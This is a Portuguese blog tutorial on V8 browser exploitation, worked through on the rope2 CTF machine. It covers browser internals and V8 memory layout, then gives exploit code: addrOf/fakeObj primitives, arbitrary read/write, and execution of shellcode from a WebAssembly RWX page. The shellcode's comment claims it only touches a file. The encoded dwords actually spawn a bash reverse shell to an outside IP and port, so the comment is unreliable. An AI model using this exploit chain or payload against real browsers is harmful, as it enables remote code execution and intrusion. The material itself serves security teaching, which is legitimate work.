Back
Featured image of post [PT-BR] Browser Exploitation

[PT-BR] Browser Exploitation

Explorando e abusando dos navegadores

Essa será uma introdução ao tema de browser exploitation, pórem é recomendado um conhecimento prévio de C, javascript e uma boa noção de ponteiros.

Browser Exploitation

A ideia principal para a exploração de navegadores continua sendo a mesma para a exploração de binários normais, o objetivo é sempre achar um ou mais bugs, os quais serão usados para conseguir duas primitivas essenciais, arbitrary read e arbitrary write, com isso o próximo passo seria um desvio de fluxo para um código malicioso, podendo ser um shellcode ou uma ropchain.
pórem as técnicas e algumas formas de obter essas primitivas podem se diferenciar na exploração de browsers.

Cada navegador tem sua implementação única e com suas peculiaridades, vou fazer um overview sobre os principais componentes do navegador e após isso me aprofundar no chrome, por ser um dos mais usados.

Browser internals

Como as coisas funcionam

De forma abstrata, os navegadores se organizam mais ou menos dessa forma:

Exemplo de arquitetura

  • User Interface
    Essa é a interface de comunicação com o usuário final, ou seja, barra de pesquisa, botões, favorito, etc.
  • Browser Engine
    O Browser Engine tem a função de comunicação entre os outros componentes.
  • Rendering Engine
    De forma autodescritiva, essa engine tem a função de renderizar oque está sendo requisitado, HTML, XML, PDF e assim por diante.
  • Networking
    Não diferente do último tópico, esse componente também é bem autodescritiva, sua função é basicamente lidar com conexões HTTP, TCP, WebSocket e outros protocolos.
    Também faz parte desse módulo o cache de informações para diminuir o tráfego necessário.
  • UI Backend
    Usada para criar componentes visuais independentes de SO, como inputs ou buttons.
  • JavaScript Engine
    Esse módulo é responsável por parsear e executar o javascript, esse será o alvo de maiores estudos nesse post.
  • Data Storage
    Essa é a camada de persistência. Cookies, localStorage, cache, indexDB e semelhantes estarão aqui.

Esse foi um overview rápido para podermos entrar em uma módulo especifico, o JavaScript Engine

JavaScript Engine (V8 internal)

Cada navegador possui seu próprio Engine, então eu usarei o v8, engine do chrome, para conseguir dar exemplos mais concretos.

Objetos e Ponteiros

No v8, todos os valores são armazenados na heap, independente do seu tipo (strings, arrays, números e etc), isso significa que tudo é representado como ponteiros e como uma tentativa de poupar memoria o v8 usa uma técnica chamada compressão de ponteiro, a qual tem uma função bem autodescritiva, comprimir o tamanho de um ponteiro. Mas como isso é possível? Segundo as palavras do próprio blog do v8:

A compactação de ponteiro é um dos vários esforços em andamento no V8 para reduzir o consumo de memória. A ideia é muito simples: em vez de armazenar ponteiros de 64 bits, podemos armazenar deslocamentos de 32 bits de algum endereço “base”.

Parte dessa implementação usa outra técnica chamada de pointer tagging, onde para diferenciar um endereço de um Smi (small integer) existe uma “tag”, isso é representado como um bit 1 no LSB. Dessa forma, ponteiros se parecem com isso na memória:

// pointer
0x02ae456d6e91
// endereço para onde aponta
0x02ae456d6e90

Arrays na memoria

// var array = [1, 2, 3, 4]

       A JSArray object                      A FixedArray object
+-----------------------------+       +------------------------------+
|                             |       |                              |
|         Map Pointer         |   +-->+         Map Pointer          |
|                             |   |   |                              |
+-----------------------------+   |   +------------------------------+
|                             |   |   |                              |
|      Properties Pointer     |   |   |     Backing Store Length     |
|                             |   |   |                              |
+-----------------------------+   |   +------------------------------+
|                             |   |   |                              |
|       Elements Pointer      +---+   |          0x00000002          | index 0
|                             |       |                              |
+-----------------------------+       +------------------------------+
|                             |       |                              |
|        Array Length         |       |          0x00000004          | index 1
|                             |       |                              |
+-----------------------------+       +------------------------------+
|                             |       |                              |
| Other unimportant fields... |       |          0x00000006          | index 2
|                             |       |                              |
+-----------------------------+       +------------------------------+
                                      |                              |
                                      |          0x00000008          | index 3
                                      |                              |
                                      +------------------------------+
Ref:
"https://www.elttam.com/blog/simple-bugs-with-complex-exploits/#arrays-in-v8"

JSArray é o real objeto a qual a variável array aponta, nele existem vários campos importantes, entre eles podemos enumerar os mais importantes:

  • Map Pointer:
    Essa propriedade determina o “shape” do array, semelhante a uma struct, definindo os tipos das suas propriedades.
  • Properties pointer
    Basicamente aponta para as propriedades as quais o array pode ter.
  • Elements Pointer
    Finalmente o lugar o qual aponta para os valores de fato.
  • Array Length
    De forma nada surpreendente, esse é o tamanho do array, propriedade que pode ser muito útil em alguns casos, como um overwrite nela pode te liberar um read/write OOB.

Agora que temos uma ideia melhor de como tudo está alocado e funcionando por baixo dos panos, podemos continuar para o próximo passo.

Exploitation 😎

Eu usarei uma máquina do HTB, a rope2, para utilizar uma falha induzida como exemplo

Basicamente vamos ter um arquivo de patch adicionando 2 funções build-in em arrays (ArrayGetLastElement e ArraySetLastElement), pórem elas têm um erro simples de lógica, para acessar o “LastElement” é usado o tamanho do array, no entretanto sem levar em conta que o valor inicial em arrays é 0, irei demonstrar o erro com o seguinte pseudo código:

//            0    1    2    3    4
var array = ["a", "b", "c", "d", "e"]

var arraySize = array.length // 5
var lastElement = array[arraySize] // ??

Com isso podemos ler e escrever após o nosso array, pórem como podemos fazer isso se transformar em uma primitiva read/write?

Técnicas

Quando se trata de browser exploitation, nosso objetivo é sempre adquirir duas “semi primitivas”, a address of e o fake object.

Address of

Essa técnica tem o objetivo bem claro, adquirir o endereço de uma variável, para isso devemos criar um array de doubles e converter ele para um array de objetos, após isso adicionar a variável que queremos o endereço e convertemos novamente para doubles, assim teremos o ponteiro da variável e não mais a variável em si.
pseudo código:

var array = [1.1, 1.2, 1.3] // double array

// trigga algum bug para realizar essa converção
do_magic(array) // object array

var find_me = { prop: "value" }

// array[1] = pointer => find_me
array[1] = find_me

do_magic(array) // double array

// agora não seguimos mais o ponteiro pois ele esta sendo
// intepretado como um float, assim podemos ler diretamente o endereço
array[1]

Fake Object

O fake object tem uma ideia extremamente semelhante ao address of, funcionando como o oposto dele.
Basicamente ao invés de achar um endereço, nosso objetivo aqui é acessar um endereço qualquer a nossa escolha, usando uma variação da mesma técnica, assim podemos ter o seguinte pseudo código:

var array = [1.1, 1.2, 1.3] // double array

// ALERTA
// Esse ponteiro deve ser "packeado" para 64/32 bits em um cenario real
var pointer = 0xbabebeef

array[1] = pointer // escrevo nosso endereço no array

// trigga algum bug para realizar essa converção
do_magic(array) // object array

// agora temos em "array[1]" um objeto que aponta para o nosso endereço
// com isso temos praticamente um read/write
array[1]

Sem mais magia

Até agora usei uma função do_magic para exemplificar um bug, pórem como todos sabem não existe mágica, então vamos desmistificar essa tal magia.
Na sessão de arrays eu comento sobre uma propriedade chamada Map pointer, a qual define o formato de um array ou objeto. Basicamente nosso objetivo é conseguir sobrescrever essa propriedade ao nosso favor, transformando o array em float ou objeto.

Escrevendo o exploit 🐞

As funções itof e ftoi são simples wrapper de apoio para conversão de float to integer e vise versa
A implementação do fakeObj e addressOf serão disponibilizadas no final do post, mas elas não diferem muito do pseudo código mostrado acima.

Agora já sabemos as técnicas e temos um bug, hora de mão na massa.

Vamos primeiramente criar as variáveis

var tmp_obj = {"A": 1};
var obj_arr = [tmp_obj];
var float_arr = [1.1, 1.2, 1.3];
var float_map = float_arr.GetLastElement(); // Map Pointer do "float_arr"
var obj_map = itof(ftoi(float_map) + 0x50n);  // Map Pointer do "obj_arr" 

Estamos pegando os Map pointer’s de um array float e de um objeto para fazer a Mágica de converter os tipos de um array.
Você pode ter percebido que no obj_map eu não estou usando o GetLastElement e sim um deslocamento a partir do float_map, isso pode parecer complexo mas é apenas por um ruído que é gerado com a função vulnerável, em outras palavras estou apenas falando que o map do objeto está 0x50 bytes a frente do float map.

Agora vamos usar as primitivas fakeObj e addressOf

var fake_arr = [float_map, 1.1, 1.2, 1.3];
// fake => Object(fake_arr[0])
var fake = fakeObj(addrOf(fake_arr) - 0x20n);

Assim criamos um novo array onde o primeiro elemento é o float map e criamos um objeto apontando para esse primeiro elemento, o -0x20n é para esse alinhamento.
Temos agora um fake object com propriedades as quais temos controle, em outras palavras:
Read/Write baby 😎
Vamos ver isso de forma mais pratica.
Em fake_arr[1] eu irei escrever um endereço somado com alguns cálculos, assim em fake[0] podemos ler ou escrever para onde o endereço aponta, da seguinte forma:

function read(addr) {
// pointer tagging que foi comentado no começo do post
  if(addr % 2n == 0) {
    addr += 1;
  }

// "8n << 32n" é basicamente um padding
// o -8 é apenas alinhamento
  fake_arr[1] = itof((8n << 32n) + addr - 8n);
  return fake[0];
}

A função write é apenas uma variação dessa com a mesma ideia.

Read, write mas cade a shell?

Em uma exploração normal, o esperado seria sobrescrever a __malloc_hook ou __free_hook, pórem as coisas diferem um pouco durante a exploração de browsers, existem diversas formas de criar uma execução de código nesse contexto.
Eu usarei uma técnica para criar uma página RWX (Read/Write/eXec) com WebAssembly e usarei as primitivas para escrever um shellcode nessa página e assim executá-la.

// https://wasdk.github.io/WasmFiddle/
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var wasm_exec_shellcode = wasm_instance.exports.main;

O wasm_code é apenas um código em WebAssembly para:
int main() { return 0; }
As demais linhas são apenas para iniciar uma instancia.
Agora com uma instancia do WebAssembly podemos preparar para escrever o nosso shellcode:

var rwx_page_addr = ftoi(read(addrOf(wasm_instance) + 0x68n));

function copy_shellcode(addr, shellcode) {
    let buf = new ArrayBuffer(0x100);
    let dataview = new DataView(buf);
    let buf_addr = addrOf(buf);
    let backing_store_addr = buf_addr + 0x14n;
    write(backing_store_addr, addr);

    for (let i = 0; i < shellcode.length; i++) {
      dataview.setUint32(4*i, shellcode[i], true);
    }
}

Não tenho muito o que explicar sobre o código acima, basicamente está usando as primitivas read/write para escrever o shellcode, podemos finalizar nosso exploit da seguinte forma:

// msfvenom -p linux/x64/exec CMD='/usr/bin/touch /tmp/executed_baby' --format dword
var shellcode = [
  0x622fb848, 0x732f6e69, 0x50990068, 0x66525f54, 0x54632d68, 0x39e8525e, 0x2f000000, 0x2f6e6962,
0x68736162, 0x20632d20, 0x73616222, 0x692d2068, 0x20263e20, 0x7665642f, 0x7063742f, 0x2e30312f,
0x312e3031, 0x30322e36, 0x3030392f, 0x3e302031, 0x00223126, 0x5e545756, 0x0f583b6a, 0x00000005
];
copy_shellcode(rwx_page_addr, shellcode);

wasm_exec_shellcode();

O exploit completo pode ser encontrato no github da harddisk.
Esse post é uma introdução ao tema de browser exploitation, o que significa que muita coisa ficou de fora, como sandbox e proteções como PIE, esses temas podem ser abordados futuramente em outros posts, se você curtiu e quer mais conteúdos do tipo pode compartilhar esse post e/ou entrar na comunidade do discord para dar seu feedback.

Referencias


Autor do post: R3tr0

comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy